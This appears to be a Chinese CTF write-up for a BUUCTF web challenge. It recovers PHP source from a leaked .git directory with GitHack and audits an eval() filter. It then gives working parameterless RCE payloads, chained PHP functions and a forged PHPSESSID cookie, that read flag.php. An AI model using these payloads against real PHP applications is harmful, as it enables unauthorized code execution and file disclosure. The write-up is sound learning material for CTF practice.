目录
分析
打开连接,发现啥也没有,只有一句话在那,看了源码、抓包数据也没发现啥,用dirsearch目录扫描一下,间隔设置为0.1线程设置为1,防止429,就是跑得比较久
等了一会,发现跑出了这些东西,应该是git源码泄露,我们可以利用githack获取源码,参考
先用工具获取源码,打开终端
python GitHack.py http://7d44aa8e-aa29-4340-97bd-c22e251fb5b2.node4.buuoj.cn:81/.git/
然后到工具所在目录找到index.php文件
打开文件
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
开始审计源码,我们最终的目标是执行@eval($_GET['exp'])
正则不太记得可以参考
函数不分大小写地过滤掉了
data://
filter://
php://
phar://
et
na
info
dec
bin
hex
oct
pi
log
对于第二个if,参考别人的wp
(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子
无参数RCE参考
因为不能传参,所以只能利用函数回显套娃来代替目标参数,这题有两种方法解决
法一
利用函数找到并代替flag.php
先看一下flag文件的位置,构建payload
?exp=print_r(scandir(pos(localeconv())));
看一下上面的函数
localeconv(),回显数组,第一个数组是字符"."点号
pos(),传入数组,回显第一个数组的值,pos可以用current代替
所以pos(localeconv())等价于.号
而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件
再配合print_r函数输出数组
flag在第四个数组里 ,我们只要想办法包涵这个文件即将flag.php调到第一个数组里或者是数组指针指向flag.php,这里有几个函数
PHP array_reverse() 函数 (w3school.com.cn)数组反转
PHP next() 函数 (w3school.com.cn) 数组指针移动下一位
所以可以先利用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件,构造payload
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
拿到flag
法二
利用session_id代替flag.php
方法就是先用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头
Cookie: PHPSESSID=flag.php
在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload
?exp=show_source(session_id(session_start()));
用burpsuite抓包写入cookie头
添加完http头后点击放行
拿到flag